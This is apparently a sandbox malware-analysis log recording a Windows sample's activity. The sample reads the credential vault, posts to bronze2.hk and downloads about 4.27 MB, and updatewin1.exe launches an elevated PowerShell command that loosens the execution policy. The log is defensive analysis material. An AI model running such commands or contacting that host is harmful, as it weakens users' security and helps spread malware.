Get Computer Name result_out = XDUWTFONO True 3
Fn
Get Time type = System Time, time = 2019-07-30 00:49:44 (UTC) True 1
Fn
Get Time type = Ticks, time = 117921 True 1
Fn
Get Time type = Performance Ctr, time = 17607745946 True 1
Fn
Get Time type = Performance Ctr, time = 19100012771 True 1
Fn
Get Time type = Performance Ctr, time = 19100022418 True 1
Fn
Get Time type = Performance Ctr, time = 19100031276 True 1
Fn
Get Time type = Performance Ctr, time = 19100040185 True 1
Fn
Get Time type = Performance Ctr, time = 19100049100 True 1
Fn
Get Time type = Performance Ctr, time = 19100057919 True 1
Fn
Get Time type = Performance Ctr, time = 19100066769 True 1
Fn
Get Time type = Performance Ctr, time = 19100075572 True 1
Fn
Get Time type = Performance Ctr, time = 19100086063 True 1
Fn
Get Time type = Performance Ctr, time = 19100095158 True 1
Fn
Get Time type = Performance Ctr, time = 19100104227 True 1
Fn
Get Time type = Performance Ctr, time = 19100113381 True 1
Fn
Get Time type = Performance Ctr, time = 19100122445 True 1
Fn
Get Time type = Performance Ctr, time = 19100131525 True 1
Fn
Get Time type = Performance Ctr, time = 19100140602 True 1
Fn
Get Time type = Performance Ctr, time = 19100149636 True 1
Fn
Get Time type = Performance Ctr, time = 19100158731 True 1
Fn
Get Time type = Performance Ctr, time = 19100167849 True 1
Fn
Get Time type = Performance Ctr, time = 19100176922 True 1
Fn
Get Time type = Performance Ctr, time = 19100186018 True 1
Fn
Get Time type = Performance Ctr, time = 19100195099 True 1
Fn
Get Time type = Ticks, time = 130526 True 1
Fn
Get Info type = Operating System True 2
Fn
Get Info type = Operating System True 2
Fn
Get Info type = Hardware Information True 3
Fn
Open credential vault - True 1
Fn
Enumerate credential vault items - True 1
Fn
Mutex (1)
»
Operation Additional Information Success Count Logfile
Create mutex_name = A6CF1546B-343A2EC6-63D8DC88-FF4A8C5D-82A11F69 True 1
Fn
Environment (5)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 1
Fn
Data
Get Environment String name = PATH True 1
Fn
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Get Environment String name = MALLOC_OPTIONS False 1
Fn
Set Environment String name = PATH, value = C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Network Behavior
HTTP Sessions (1)
»
Information Value
Total Data Sent 262 bytes
Total Data Received 4.27 MB
Contacted Host Count 1
Contacted Hosts 82.146.35.253
HTTP Session #1
»
Information Value
User Agent Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
Server Name bronze2.hk
Server Port 80
Username -
Password -
Data Sent 262 bytes
Data Received 4.27 MB
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1), access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = bronze2.hk, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP 1.1, target_resource = /1/index.php, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request url = bronze2.hk/1/index.php True 1
Fn
Data
Read Response size = 65636, size_out = 9677 True 1
Fn
Data
Read Response size = 65636, size_out = 2358 True 1
Fn
Data
Read Response size = 65636, size_out = 28640 True 1
Fn
Data
Read Response size = 65636, size_out = 56000 True 1
Fn
Data
Read Response size = 65636, size_out = 65545 True 1
Fn
Data
Read Response size = 65636, size_out = 64 True 1
Fn
Data
Read Response size = 65636, size_out = 43095 True 1
Fn
Data
Read Response size = 65636, size_out = 65546 True 1
Fn
Data
Read Response size = 65636, size_out = 65558 True 1
Fn
Data
Read Response size = 65636, size_out = 64333 True 1
Fn
Data
Read Response size = 65636, size_out = 65557 True 1
Fn
Data
Read Response size = 65636, size_out = 42343 True 1
Fn
Data
Read Response size = 65636, size_out = 52303 True 1
Fn
Data
Read Response size = 65636, size_out = 65545 True 1
Fn
Data
Read Response size = 65636, size_out = 49635 True 1
Fn
Data
Read Response size = 65636, size_out = 8745 True 1
Fn
Data
Read Response size = 65636, size_out = 65530 True 1
Fn
Data
Read Response size = 65636, size_out = 1489 True 1
Fn
Data
Read Response size = 65636, size_out = 65517 True 1
Fn
Data
Read Response size = 65636, size_out = 65558 True 1
Fn
Data
Read Response size = 65636, size_out = 61350 True 1
Fn
Data
Read Response size = 65636, size_out = 423 True 1
Fn
Data
Read Response size = 65636, size_out = 65524 True 1
Fn
Data
Read Response size = 65636, size_out = 65544 True 1
Fn
Data
Read Response size = 65636, size_out = 65523 True 1
Fn
Data
Read Response size = 65636, size_out = 10397 True 1
Fn
Data
Read Response size = 65636, size_out = 364 True 1
Fn
Data
Read Response size = 65636, size_out = 65531 True 1
Fn
Data
Read Response size = 65636, size_out = 65544 True 1
Fn
Data
Read Response size = 65636, size_out = 65523 True 1
Fn
Data
Read Response size = 65636, size_out = 14769 True 1
Fn
Data
Read Response size = 65636, size_out = 1529 True 1
Fn
Data
Read Response size = 65636, size_out = 65540 True 1
Fn
Data
Read Response size = 65636, size_out = 65558 True 1
Fn
Data
Read Response size = 65636, size_out = 65529 True 1
Fn
Data
Read Response size = 65636, size_out = 65530 True 1
Fn
Data
Read Response size = 65636, size_out = 65544 True 2
Fn
Data
Read Response size = 65636, size_out = 49841 True 1
Fn
Data
Read Response size = 65636, size_out = 714 True 1
Fn
Data
Read Response size = 65636, size_out = 65538 True 1
Fn
Data
Read Response size = 65636, size_out = 65530 True 2
Fn
Data
Read Response size = 65636, size_out = 65537 True 1
Fn
Data
Read Response size = 65636, size_out = 65536 True 1
Fn
Data
Read Response size = 65636, size_out = 65558 True 1
Fn
Data
Read Response size = 65636, size_out = 65551 True 1
Fn
Data
Read Response size = 65636, size_out = 24660 True 1
Fn
Data
Read Response size = 65636, size_out = 65546 True 1
Fn
Data
Read Response size = 65636, size_out = 65551 True 1
Fn
Data
Read Response size = 65636, size_out = 65544 True 1
Fn
Data
Read Response size = 65636, size_out = 65536 True 1
Fn
Data
Read Response size = 65636, size_out = 14017 True 1
Fn
Data
Read Response size = 65636, size_out = 65536 True 1
Fn
Data
Read Response size = 65636, size_out = 65551 True 2
Fn
Data
Read Response size = 65636, size_out = 64333 True 1
Fn
Data
Read Response size = 65636, size_out = 65536 True 1
Fn
Data
Read Response size = 65636, size_out = 65545 True 1
Fn
Data
Read Response size = 65636, size_out = 65536 True 1
Fn
Data
Read Response size = 65636, size_out = 64333 True 1
Fn
Data
Read Response size = 65636, size_out = 65551 True 1
Fn
Data
Read Response size = 65636, size_out = 65544 True 1
Fn
Data
Read Response size = 65636, size_out = 65543 True 1
Fn
Data
Read Response size = 65636, size_out = 65558 True 1
Fn
Data
Read Response size = 65636, size_out = 51294 True 1
Fn
Data
Read Response size = 65636, size_out = 3464 True 1
Fn
Data
Read Response size = 65636, size_out = 65559 True 1
Fn
Data
Read Response size = 65636, size_out = 65557 True 1
Fn
Data
Read Response size = 65636, size_out = 65551 True 1
Fn
Data
Read Response size = 65636, size_out = 63809 True 1
Fn
Data
Read Response size = 65636, size_out = 3465 True 1
Fn
Data
Read Response size = 65636, size_out = 2360 True 1
Fn
Data
Read Response size = 65636, size_out = 65537 True 1
Fn
Data
Read Response size = 65636, size_out = 65544 True 2
Fn
Data
Read Response size = 65636, size_out = 65550 True 1
Fn
Data
Read Response size = 65636, size_out = 65544 True 1
Fn
Data
Read Response size = 65636, size_out = 65572 True 1
Fn
Data
Read Response size = 65636, size_out = 65544 True 1
Fn
Data
Read Response size = 65636, size_out = 58764 True 1
Fn
Data
Read Response size = 65636, size_out = 65550 True 1
Fn
Data
Read Response size = 65636, size_out = 65544 True 1
Fn
Data
Read Response size = 65636, size_out = 65558 True 1
Fn
Data
Read Response size = 65636, size_out = 64354 True 1
Fn
Data
Read Response size = 65636, size_out = 21624 True 1
Fn
Data
Read Response size = 65636, size_out = 0 True 1
Fn
Close Session - True 1
Fn
Process #11: powershell.exe
570 0
»
Information Value
ID #11
File Name c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
Command Line powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\
Monitor Start Time: 00:00:55, Reason: Child Process
Unmonitor End Time: 00:01:18, Reason: Self Terminated
Monitor Duration 00:00:22
OS Process Information
»
Information Value
PID 0xb50
Parent PID 0xb40 (c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B54
0x B6C
0x B70
0x B8C
0x B94
0x B98
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B421C8, 0x73B44390 False False
...
powershell.exe 0x227E0000 0x22851FFF Relevant Image - 32-bit - False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B89A98 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B43950 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B74AA0, 0x73B43AE8 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B75BC0 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B761C4 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B7F3AC False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B80220 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B84378 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B83C14 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B703B8 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B71000 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B82E94 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B81910 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B73B80 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B439B0, 0x73B76B3D False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B700B0 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B6D828 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B6E000 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B6FAF0 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B77380 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B42D60, 0x73B43A10, ... False False
...
microsoft.wsman.management.ni.dll 0x73A20000 0x73AA4FFF Content Changed - 32-bit 0x73A2F210 False False
...
microsoft.powershell.consolehost.ni.dll 0x73B30000 0x73BB0FFF Content Changed - 32-bit 0x73B76298 False False
...
Host Behavior
File (272)
»
Operation Filename Additional Information Success Count Logfile
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Get Info C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.config type = file_attributes False 1
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0 type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_attributes True 1
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_type True 2
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz type = file_attributes True 1
Fn
Get Info C:\ type = file_attributes True 4
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 4096 True 3
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 3315 True 1
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 781, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 4096 True 41
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 436 True 1
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 2530 True 1
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 542, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4096 True 5
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4018 True 1
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 78, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 2762 True 1
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 310, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 4096 True 17
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 3022 True 1
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 50, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 281 True 1
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 4096 True 62
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 3895 True 1
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml size = 201, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 4096 True 21
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 3687 True 1
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 409, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 2228 True 1
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 844, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 3736 True 1
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 360, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Registry (179)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1 - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment - True 1
Fn
Open Key HKEY_CURRENT_USER\Environment - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 3
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 6
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
